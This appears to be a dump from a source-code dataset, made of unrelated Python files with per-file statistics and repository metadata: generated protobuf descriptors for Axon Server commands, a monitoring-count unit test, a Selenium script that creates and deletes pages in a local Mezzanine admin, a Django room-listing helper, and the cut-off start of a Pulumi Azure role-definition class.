extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='name', full_name='io.axoniq.axonserver.grpc.command.Command.name', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='timestamp', full_name='io.axoniq.axonserver.grpc.command.Command.timestamp', index=2, number=3, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='payload', full_name='io.axoniq.axonserver.grpc.command.Command.payload', index=3, number=4, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='meta_data', full_name='io.axoniq.axonserver.grpc.command.Command.meta_data', index=4, number=5, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='processing_instructions', full_name='io.axoniq.axonserver.grpc.command.Command.processing_instructions', index=5, number=6, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='client_id', full_name='io.axoniq.axonserver.grpc.command.Command.client_id', index=6, number=7, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='component_name', full_name='io.axoniq.axonserver.grpc.command.Command.component_name', index=7, number=8, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[_COMMAND_METADATAENTRY, ], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=671, serialized_end=1097, ) _COMMANDRESPONSE_METADATAENTRY = _descriptor.Descriptor( name='MetaDataEntry', full_name='io.axoniq.axonserver.grpc.command.CommandResponse.MetaDataEntry', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='key', full_name='io.axoniq.axonserver.grpc.command.CommandResponse.MetaDataEntry.key', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='value', full_name='io.axoniq.axonserver.grpc.command.CommandResponse.MetaDataEntry.value', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=_b('8\001'), is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=1008, serialized_end=1097, ) _COMMANDRESPONSE = _descriptor.Descriptor( name='CommandResponse', full_name='io.axoniq.axonserver.grpc.command.CommandResponse', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='message_identifier', full_name='io.axoniq.axonserver.grpc.command.CommandResponse.message_identifier', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='error_code', full_name='io.axoniq.axonserver.grpc.command.CommandResponse.error_code', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='error_message', full_name='io.axoniq.axonserver.grpc.command.CommandResponse.error_message', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='payload', full_name='io.axoniq.axonserver.grpc.command.CommandResponse.payload', index=3, number=4, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='meta_data', full_name='io.axoniq.axonserver.grpc.command.CommandResponse.meta_data', index=4, number=5, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='processing_instructions', full_name='io.axoniq.axonserver.grpc.command.CommandResponse.processing_instructions', index=5, number=6, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='request_identifier', full_name='io.axoniq.axonserver.grpc.command.CommandResponse.request_identifier', index=6, number=7, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[_COMMANDRESPONSE_METADATAENTRY, ], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=1100, serialized_end=1578, ) _COMMANDSUBSCRIPTION = _descriptor.Descriptor( name='CommandSubscription', full_name='io.axoniq.axonserver.grpc.command.CommandSubscription', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='message_id', full_name='io.axoniq.axonserver.grpc.command.CommandSubscription.message_id', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='command', full_name='io.axoniq.axonserver.grpc.command.CommandSubscription.command', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='component_name', full_name='io.axoniq.axonserver.grpc.command.CommandSubscription.component_name', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='client_id', full_name='io.axoniq.axonserver.grpc.command.CommandSubscription.client_id', index=3, number=4, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='load_factor', full_name='io.axoniq.axonserver.grpc.command.CommandSubscription.load_factor', index=4, number=5, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=1580, serialized_end=1702, ) _COMMANDPROVIDEROUTBOUND.fields_by_name['subscribe'].message_type = _COMMANDSUBSCRIPTION _COMMANDPROVIDEROUTBOUND.fields_by_name['unsubscribe'].message_type = _COMMANDSUBSCRIPTION _COMMANDPROVIDEROUTBOUND.fields_by_name['flow_control'].message_type = common__pb2._FLOWCONTROL _COMMANDPROVIDEROUTBOUND.fields_by_name['command_response'].message_type = _COMMANDRESPONSE _COMMANDPROVIDEROUTBOUND.fields_by_name['ack'].message_type = common__pb2._INSTRUCTIONACK _COMMANDPROVIDEROUTBOUND.oneofs_by_name['request'].fields.append( _COMMANDPROVIDEROUTBOUND.fields_by_name['subscribe']) _COMMANDPROVIDEROUTBOUND.fields_by_name['subscribe'].containing_oneof = _COMMANDPROVIDEROUTBOUND.oneofs_by_name['request'] _COMMANDPROVIDEROUTBOUND.oneofs_by_name['request'].fields.append( _COMMANDPROVIDEROUTBOUND.fields_by_name['unsubscribe']) _COMMANDPROVIDEROUTBOUND.fields_by_name['unsubscribe'].containing_oneof = _COMMANDPROVIDEROUTBOUND.oneofs_by_name['request'] _COMMANDPROVIDEROUTBOUND.oneofs_by_name['request'].fields.append( _COMMANDPROVIDEROUTBOUND.fields_by_name['flow_control']) _COMMANDPROVIDEROUTBOUND.fields_by_name['flow_control'].containing_oneof = _COMMANDPROVIDEROUTBOUND.oneofs_by_name['request'] _COMMANDPROVIDEROUTBOUND.oneofs_by_name['request'].fields.append( _COMMANDPROVIDEROUTBOUND.fields_by_name['command_response']) _COMMANDPROVIDEROUTBOUND.fields_by_name['command_response'].containing_oneof = _COMMANDPROVIDEROUTBOUND.oneofs_by_name['request'] _COMMANDPROVIDEROUTBOUND.oneofs_by_name['request'].fields.append( _COMMANDPROVIDEROUTBOUND.fields_by_name['ack']) _COMMANDPROVIDEROUTBOUND.fields_by_name['ack'].containing_oneof = _COMMANDPROVIDEROUTBOUND.oneofs_by_name['request'] _COMMANDPROVIDERINBOUND.fields_by_name['ack'].message_type = common__pb2._INSTRUCTIONACK _COMMANDPROVIDERINBOUND.fields_by_name['command'].message_type = _COMMAND _COMMANDPROVIDERINBOUND.oneofs_by_name['request'].fields.append( _COMMANDPROVIDERINBOUND.fields_by_name['ack']) _COMMANDPROVIDERINBOUND.fields_by_name['ack'].containing_oneof = _COMMANDPROVIDERINBOUND.oneofs_by_name['request'] _COMMANDPROVIDERINBOUND.oneofs_by_name['request'].fields.append( _COMMANDPROVIDERINBOUND.fields_by_name['command']) _COMMANDPROVIDERINBOUND.fields_by_name['command'].containing_oneof = _COMMANDPROVIDERINBOUND.oneofs_by_name['request'] _COMMAND_METADATAENTRY.fields_by_name['value'].message_type = common__pb2._METADATAVALUE _COMMAND_METADATAENTRY.containing_type = _COMMAND _COMMAND.fields_by_name['payload'].message_type = common__pb2._SERIALIZEDOBJECT _COMMAND.fields_by_name['meta_data'].message_type = _COMMAND_METADATAENTRY _COMMAND.fields_by_name['processing_instructions'].message_type = common__pb2._PROCESSINGINSTRUCTION _COMMANDRESPONSE_METADATAENTRY.fields_by_name['value'].message_type = common__pb2._METADATAVALUE _COMMANDRESPONSE_METADATAENTRY.containing_type = _COMMANDRESPONSE _COMMANDRESPONSE.fields_by_name['error_message'].message_type = common__pb2._ERRORMESSAGE _COMMANDRESPONSE.fields_by_name['payload'].message_type = common__pb2._SERIALIZEDOBJECT _COMMANDRESPONSE.fields_by_name['meta_data'].message_type = _COMMANDRESPONSE_METADATAENTRY _COMMANDRESPONSE.fields_by_name['processing_instructions'].message_type = common__pb2._PROCESSINGINSTRUCTION DESCRIPTOR.message_types_by_name['CommandProviderOutbound'] = _COMMANDPROVIDEROUTBOUND DESCRIPTOR.message_types_by_name['CommandProviderInbound'] = _COMMANDPROVIDERINBOUND DESCRIPTOR.message_types_by_name['Command'] = _COMMAND DESCRIPTOR.message_types_by_name['CommandResponse'] = _COMMANDRESPONSE DESCRIPTOR.message_types_by_name['CommandSubscription'] = _COMMANDSUBSCRIPTION _sym_db.RegisterFileDescriptor(DESCRIPTOR) CommandProviderOutbound = _reflection.GeneratedProtocolMessageType('CommandProviderOutbound', (_message.Message,), { 'DESCRIPTOR' : _COMMANDPROVIDEROUTBOUND, '__module__' : 'command_pb2' # @@protoc_insertion_point(class_scope:io.axoniq.axonserver.grpc.command.CommandProviderOutbound) }) _sym_db.RegisterMessage(CommandProviderOutbound) CommandProviderInbound = _reflection.GeneratedProtocolMessageType('CommandProviderInbound', (_message.Message,), { 'DESCRIPTOR' : _COMMANDPROVIDERINBOUND, '__module__' : 'command_pb2' # @@protoc_insertion_point(class_scope:io.axoniq.axonserver.grpc.command.CommandProviderInbound) }) _sym_db.RegisterMessage(CommandProviderInbound) Command = _reflection.GeneratedProtocolMessageType('Command', (_message.Message,), { 'MetaDataEntry' : _reflection.GeneratedProtocolMessageType('MetaDataEntry', (_message.Message,), { 'DESCRIPTOR' : _COMMAND_METADATAENTRY, '__module__' : 'command_pb2' # @@protoc_insertion_point(class_scope:io.axoniq.axonserver.grpc.command.Command.MetaDataEntry) }) , 'DESCRIPTOR' : _COMMAND, '__module__' : 'command_pb2' # @@protoc_insertion_point(class_scope:io.axoniq.axonserver.grpc.command.Command) }) _sym_db.RegisterMessage(Command) _sym_db.RegisterMessage(Command.MetaDataEntry) CommandResponse = _reflection.GeneratedProtocolMessageType('CommandResponse', (_message.Message,), { 'MetaDataEntry' : _reflection.GeneratedProtocolMessageType('MetaDataEntry', (_message.Message,), { 'DESCRIPTOR' : _COMMANDRESPONSE_METADATAENTRY, '__module__' : 'command_pb2' # @@protoc_insertion_point(class_scope:io.axoniq.axonserver.grpc.command.CommandResponse.MetaDataEntry) }) , 'DESCRIPTOR' : _COMMANDRESPONSE, '__module__' : 'command_pb2' # @@protoc_insertion_point(class_scope:io.axoniq.axonserver.grpc.command.CommandResponse) }) _sym_db.RegisterMessage(CommandResponse) _sym_db.RegisterMessage(CommandResponse.MetaDataEntry) CommandSubscription = _reflection.GeneratedProtocolMessageType('CommandSubscription', (_message.Message,), { 'DESCRIPTOR' : _COMMANDSUBSCRIPTION, '__module__' : 'command_pb2' # @@protoc_insertion_point(class_scope:io.axoniq.axonserver.grpc.command.CommandSubscription) }) _sym_db.RegisterMessage(CommandSubscription) DESCRIPTOR._options = None _COMMAND_METADATAENTRY._options = None _COMMANDRESPONSE_METADATAENTRY._options = None _COMMANDSERVICE = _descriptor.ServiceDescriptor( name='CommandService', full_name='io.axoniq.axonserver.grpc.command.CommandService', file=DESCRIPTOR, index=0, serialized_options=None, serialized_start=1705, serialized_end=1971, methods=[ _descriptor.MethodDescriptor( name='OpenStream', full_name='io.axoniq.axonserver.grpc.command.CommandService.OpenStream', index=0, containing_service=None, input_type=_COMMANDPROVIDEROUTBOUND, output_type=_COMMANDPROVIDERINBOUND, serialized_options=None, ), _descriptor.MethodDescriptor( name='Dispatch', full_name='io.axoniq.axonserver.grpc.command.CommandService.Dispatch', index=1, containing_service=None, input_type=_COMMAND, output_type=_COMMANDRESPONSE, serialized_options=None, ), ]) _sym_db.RegisterServiceDescriptor(_COMMANDSERVICE) DESCRIPTOR.services_by_name['CommandService'] = _COMMANDSERVICE # @@protoc_insertion_point(module_scope)

48.859155

2,968

0.768053

3,405

27,752

5.98091

0.074009

0.042426

0.065406

0.079941

0.815762

0.772846

0.745004

0.714903

0.663246

0.607857

0

0.034765

0.106551

27,752

567

2,969

48.945326

0.78657

0.029547

0

0.668582

1

0.065134

0.241168

0.192392

0

1

0

false

0

0.011494

0

0.011494

0

null

0

1

0

1

0

1

0

1

0

null

0

7

b9942fff28b1e4d7cf906736c30a231d16614bf5

2,405

py

Python

openprocurement/audit/monitoring/tests/test_monitoring_count.py

ProzorroUKR/openprocurement.audit.api

a17836e29bca28d9151c091e1d2e42de9f70b949

[ "Apache-2.0" ]

1

2018-05-21T08:14:55.000Z

openprocurement/audit/monitoring/tests/test_monitoring_count.py

ProzorroUKR/openprocurement.audit.api

a17836e29bca28d9151c091e1d2e42de9f70b949

[ "Apache-2.0" ]

59

2018-05-18T02:09:47.000Z

2019-05-29T12:10:06.000Z

openprocurement/audit/monitoring/tests/test_monitoring_count.py

ProzorroUKR/openprocurement.audit.api

a17836e29bca28d9151c091e1d2e42de9f70b949

[ "Apache-2.0" ]

1

2020-06-15T11:04:25.000Z

from openprocurement.audit.monitoring.tests.base import BaseWebTest class MonitoringCountResourceTest(BaseWebTest): def setUp(self): super(MonitoringCountResourceTest, self).setUp() def test_get_nil(self): response = self.app.get('/monitorings/count') self.assertEqual(response.status_code, 200) self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json["data"], 0) def test_get_nil_ignore_mode(self): self.create_monitoring(mode="test") response = self.app.get('/monitorings/count') self.assertEqual(response.status_code, 200) self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json["data"], 0) def test_get_one(self): self.create_monitoring() response = self.app.get('/monitorings/count') self.assertEqual(response.status_code, 200) self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json["data"], 1) def test_get_13(self): for _ in range(13): self.create_monitoring() response = self.app.get('/monitorings/count') self.assertEqual(response.status_code, 200) self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json["data"], 13) def test_get_nil_ignore_real(self): self.create_monitoring() response = self.app.get('/monitorings/count?mode=test') self.assertEqual(response.status_code, 200) self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json["data"], 0) def test_get_one_test(self): self.create_monitoring() self.create_monitoring(mode="test") response = self.app.get('/monitorings/count?mode=test') self.assertEqual(response.status_code, 200) self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json["data"], 1) def test_get_13_test(self): self.create_monitoring() for _ in range(13): self.create_monitoring(mode="test") response = self.app.get('/monitorings/count?mode=test') self.assertEqual(response.status_code, 200) self.assertEqual(response.content_type, 'application/json') self.assertEqual(response.json["data"], 13)

37

67

0.680249

278

2,405

5.726619

0.147482

0.197864

0.303392

0.079146

0.881281

0.828518

0.813442

0

0.019638

0.195426

2,405

64

68

37.578125

0.803101

0

0.77551

0

0.12812

0.034942

0

0.428571

1

0.163265

false

0

0.020408

0

0.204082

0

null

0

1

0

1

0

1

0

null

0

1

0

9

b9a642e35a44c1fe4f60f5f9e438f8a567eccba2

6,007

py

Python

test/page_delete .py

Dibyadarshan/mezzanine

6bc046f086c70c1f6bda3458eafbbe2da54df0c8

[ "BSD-2-Clause" ]

null

test/page_delete .py

Dibyadarshan/mezzanine

6bc046f086c70c1f6bda3458eafbbe2da54df0c8

[ "BSD-2-Clause" ]

null

test/page_delete .py

Dibyadarshan/mezzanine

6bc046f086c70c1f6bda3458eafbbe2da54df0c8

[ "BSD-2-Clause" ]

null

from selenium import webdriver import time from selenium.webdriver.common.keys import Keys from selenium.webdriver.support import expected_conditions as EC from selenium.webdriver.common.by import By from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support.ui import Select driver = webdriver.Firefox(executable_path="/home/anmol/PycharmProjects/prg1/geckodriver-v0.24.0-linux64/geckodriver") wait = WebDriverWait(driver, 10) # driver.implicitly_wait(2) driver.get("http://127.0.0.1:8000/admin/login/?next=/admin/") driver.maximize_window() username = "demo" password = "demo" username_element = wait.until(EC.element_to_be_clickable((By.XPATH,"//*[@id='id_username']"))) username_element.send_keys(username) password_element = wait.until(EC.element_to_be_clickable((By.XPATH,"//*[@id='id_password']"))) password_element.send_keys(password) login = wait.until(EC.element_to_be_clickable((By.XPATH,'/html/body/div/div[2]/form/div[2]/input'))) login.click() assert driver.current_url=="http://127.0.0.1:8000/admin/" pages = wait.until(EC.element_to_be_clickable((By.XPATH, '/html/body/div/div[3]/div[1]/ul/li[1]/ul/li[1]/a'))) pages.click() select_element = wait.until( EC.element_to_be_clickable((By.XPATH, '/ html / body / div / div[4] / div / div[1] / select'))) select_element = Select(select_element); select_element.select_by_index(1); title = "Page1 to delete" content = "how delete a page1" page_title = wait.until(EC.element_to_be_clickable((By.XPATH, '//*[@id="id_title"]'))) page_title.send_keys(title) iframe = wait.until(EC.element_to_be_clickable((By.XPATH, '//*[@id="id_content_ifr"]'))) driver.switch_to.frame(iframe) page_content = wait.until(EC.element_to_be_clickable((By.XPATH, '/html/body/p'))) script = "arguments[0].insertAdjacentHTML('afterEnd', arguments[1])" driver.execute_script(script, page_content, content) driver.switch_to.default_content() page_save = wait.until(EC.element_to_be_clickable((By.XPATH, '/html/body/div[1]/div[4]/div/form/div/div/input[1]'))) page_save.click() bodyText = wait.until(EC.element_to_be_clickable((By.TAG_NAME, 'body'))) assert "successfully" in bodyText.text open_page = wait.until(EC.element_to_be_clickable((By.LINK_TEXT, title))) open_page.click() delete_page = wait.until(EC.element_to_be_clickable((By.XPATH, '/html/body/div[1]/div[4]/div/form/div/div/p/a'))) delete_page.click() confirm_delete = wait.until(EC.element_to_be_clickable((By.XPATH, '/html/body/div/div[4]/form/div/input[2]'))) confirm_delete.click() bodyText = wait.until(EC.element_to_be_clickable((By.TAG_NAME, 'body'))) assert "successfully" in bodyText.text pages = wait.until(EC.element_to_be_clickable((By.XPATH, '/html/body/div/div[3]/div[1]/ul/li[1]/ul/li[1]/a'))) pages.click() select_element = wait.until( EC.element_to_be_clickable((By.XPATH, '/ html / body / div / div[4] / div / div[1] / select'))) select_element = Select(select_element); select_element.select_by_index(1); title = "Page2 to delete" content = "how delete a page2" page_title = wait.until(EC.element_to_be_clickable((By.XPATH, '//*[@id="id_title"]'))) page_title.send_keys(title) iframe = wait.until(EC.element_to_be_clickable((By.XPATH, '//*[@id="id_content_ifr"]'))) driver.switch_to.frame(iframe) page_content = wait.until(EC.element_to_be_clickable((By.XPATH, '/html/body/p'))) script = "arguments[0].insertAdjacentHTML('afterEnd', arguments[1])" driver.execute_script(script, page_content, content) driver.switch_to.default_content() page_save = wait.until(EC.element_to_be_clickable((By.XPATH, '/html/body/div[1]/div[4]/div/form/div/div/input[1]'))) page_save.click() bodyText = wait.until(EC.element_to_be_clickable((By.TAG_NAME, 'body'))) assert "successfully" in bodyText.text open_page = wait.until(EC.element_to_be_clickable((By.LINK_TEXT, title))) open_page.click() delete_page = wait.until(EC.element_to_be_clickable((By.XPATH, '/html/body/div[1]/div[4]/div/form/div/div/p/a'))) delete_page.click() confirm_delete = wait.until(EC.element_to_be_clickable((By.XPATH, '/html/body/div/div[4]/form/div/input[2]'))) confirm_delete.click() bodyText = wait.until(EC.element_to_be_clickable((By.TAG_NAME, 'body'))) assert "successfully" in bodyText.text pages = wait.until(EC.element_to_be_clickable((By.XPATH, '/html/body/div/div[3]/div[1]/ul/li[1]/ul/li[1]/a'))) pages.click() select_element = wait.until( EC.element_to_be_clickable((By.XPATH, '/ html / body / div / div[4] / div / div[1] / select'))) select_element = Select(select_element); select_element.select_by_index(1); title = "Page3 to delete" content = "how delete a page3" page_title = wait.until(EC.element_to_be_clickable((By.XPATH, '//*[@id="id_title"]'))) page_title.send_keys(title) iframe = wait.until(EC.element_to_be_clickable((By.XPATH, '//*[@id="id_content_ifr"]'))) driver.switch_to.frame(iframe) page_content = wait.until(EC.element_to_be_clickable((By.XPATH, '/html/body/p'))) script = "arguments[0].insertAdjacentHTML('afterEnd', arguments[1])" driver.execute_script(script, page_content, content) driver.switch_to.default_content() page_save = wait.until(EC.element_to_be_clickable((By.XPATH, '/html/body/div[1]/div[4]/div/form/div/div/input[1]'))) page_save.click() bodyText = wait.until(EC.element_to_be_clickable((By.TAG_NAME, 'body'))) assert "successfully" in bodyText.text open_page = wait.until(EC.element_to_be_clickable((By.LINK_TEXT, title))) open_page.click() delete_page = wait.until(EC.element_to_be_clickable((By.XPATH, '/html/body/div[1]/div[4]/div/form/div/div/p/a'))) delete_page.click() confirm_delete = wait.until(EC.element_to_be_clickable((By.XPATH, '/html/body/div/div[4]/form/div/input[2]'))) confirm_delete.click() bodyText = wait.until(EC.element_to_be_clickable((By.TAG_NAME, 'body'))) assert "successfully" in bodyText.text log_out = wait.until(EC.element_to_be_clickable((By.LINK_TEXT,"Log out"))) log_out.click() bodyText = wait.until(EC.element_to_be_clickable((By.TAG_NAME, 'body'))) assert "Logged out" in bodyText.text driver.quit()

50.90678

118

0.757117

978

6,007

4.427403

0.105317

0.078984

0.096536

0.157968

0.855196

0.821247

0.812471

0

0.015286

0.063426

6,007

118

119

50.90678

0.754355

0.004162

0

0.724771

0

0.082569

0.249958

0.151312

0

0.073395

1

0

false

0.027523

0.06422

0

0.06422

0

null

0

1

0

1

0

null

0

7

b9f5d62e168f834e52e3afa8245e95c3ecef7165

191

py

Python

core/bo/sala.py

ArthurGorgonio/suggestclasses

7e6ce79cca6cd92ed8a38b12707f900f019508c8

[ "MIT" ]

null

core/bo/sala.py

ArthurGorgonio/suggestclasses

7e6ce79cca6cd92ed8a38b12707f900f019508c8

[ "MIT" ]

null

core/bo/sala.py

ArthurGorgonio/suggestclasses

7e6ce79cca6cd92ed8a38b12707f900f019508c8

[ "MIT" ]

null

from core.models import Sala def get_salas(): """ Lista todos as Salas. Retorna apenas salas do CERES. """ return Sala.objects.all().order_by('campus', 'sigla', 'nome')

21.222222

65

0.633508

26

191

4.576923

0.884615

0

0.225131

191

8

66

23.875

0.804054

0.272251

0

0.12605

0

0.125

0

1

0.333333

true

0

0.333333

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

1

0

7

6a0a0a9606140209d79e1c924cc4610b1836390a

11,936

py

Python

sdk/python/pulumi_azure/role/definition.py

AdminTurnedDevOps/pulumi-azure

affd9eaaee3016f350f0d0469694dbd52850300b

[ "ECL-2.0", "Apache-2.0" ]

null

sdk/python/pulumi_azure/role/definition.py

AdminTurnedDevOps/pulumi-azure

affd9eaaee3016f350f0d0469694dbd52850300b

[ "ECL-2.0", "Apache-2.0" ]

null

sdk/python/pulumi_azure/role/definition.py

AdminTurnedDevOps/pulumi-azure

affd9eaaee3016f350f0d0469694dbd52850300b

[ "ECL-2.0", "Apache-2.0" ]

null

# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import json import warnings import pulumi import pulumi.runtime from typing import Union from .. import utilities, tables class Definition(pulumi.CustomResource): assignable_scopes: pulumi.Output[list] """ One or more assignable scopes for this Role Definition, such as `/subscriptions/0b1f6471-1bf0-4dda-aec3-111122223333`, `/subscriptions/0b1f6471-1bf0-4dda-aec3-111122223333/resourceGroups/myGroup`, or `/subscriptions/0b1f6471-1bf0-4dda-aec3-111122223333/resourceGroups/myGroup/providers/Microsoft.Compute/virtualMachines/myVM`. """ description: pulumi.Output[str] """ A description of the Role Definition. """ name: pulumi.Output[str] """ The name of the Role Definition. Changing this forces a new resource to be created. """ permissions: pulumi.Output[list] """ A `permissions` block as defined below. * `actions` (`list`) - One or more Allowed Actions, such as `*`, `Microsoft.Resources/subscriptions/resourceGroups/read`. See ['Azure Resource Manager resource provider operations'](https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations) for details. * `dataActions` (`list`) - One or more Allowed Data Actions, such as `*`, `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read`. See ['Azure Resource Manager resource provider operations'](https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations) for details. * `notActions` (`list`) - One or more Disallowed Actions, such as `*`, `Microsoft.Resources/subscriptions/resourceGroups/read`. See ['Azure Resource Manager resource provider operations'](https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations) for details. * `notDataActions` (`list`) - One or more Disallowed Data Actions, such as `*`, `Microsoft.Resources/subscriptions/resourceGroups/read`. See ['Azure Resource Manager resource provider operations'](https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations) for details. """ role_definition_id: pulumi.Output[str] """ A unique UUID/GUID which identifies this role - one will be generated if not specified. Changing this forces a new resource to be created. """ scope: pulumi.Output[str] """ The scope at which the Role Definition applies too, such as `/subscriptions/0b1f6471-1bf0-4dda-aec3-111122223333`, `/subscriptions/0b1f6471-1bf0-4dda-aec3-111122223333/resourceGroups/myGroup`, or `/subscriptions/0b1f6471-1bf0-4dda-aec3-111122223333/resourceGroups/myGroup/providers/Microsoft.Compute/virtualMachines/myVM`. It is recommended to use the first entry of the `assignable_scopes`. Changing this forces a new resource to be created. """ def __init__(__self__, resource_name, opts=None, assignable_scopes=None, description=None, name=None, permissions=None, role_definition_id=None, scope=None, __props__=None, __name__=None, __opts__=None): """ Manages a custom Role Definition, used to assign Roles to Users/Principals. See ['Understand role definitions'](https://docs.microsoft.com/en-us/azure/role-based-access-control/role-definitions) in the Azure documentation for more details. :param str resource_name: The name of the resource. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[list] assignable_scopes: One or more assignable scopes for this Role Definition, such as `/subscriptions/0b1f6471-1bf0-4dda-aec3-111122223333`, `/subscriptions/0b1f6471-1bf0-4dda-aec3-111122223333/resourceGroups/myGroup`, or `/subscriptions/0b1f6471-1bf0-4dda-aec3-111122223333/resourceGroups/myGroup/providers/Microsoft.Compute/virtualMachines/myVM`. :param pulumi.Input[str] description: A description of the Role Definition. :param pulumi.Input[str] name: The name of the Role Definition. Changing this forces a new resource to be created. :param pulumi.Input[list] permissions: A `permissions` block as defined below. :param pulumi.Input[str] role_definition_id: A unique UUID/GUID which identifies this role - one will be generated if not specified. Changing this forces a new resource to be created. :param pulumi.Input[str] scope: The scope at which the Role Definition applies too, such as `/subscriptions/0b1f6471-1bf0-4dda-aec3-111122223333`, `/subscriptions/0b1f6471-1bf0-4dda-aec3-111122223333/resourceGroups/myGroup`, or `/subscriptions/0b1f6471-1bf0-4dda-aec3-111122223333/resourceGroups/myGroup/providers/Microsoft.Compute/virtualMachines/myVM`. It is recommended to use the first entry of the `assignable_scopes`. Changing this forces a new resource to be created. The **permissions** object supports the following: * `actions` (`pulumi.Input[list]`) - One or more Allowed Actions, such as `*`, `Microsoft.Resources/subscriptions/resourceGroups/read`. See ['Azure Resource Manager resource 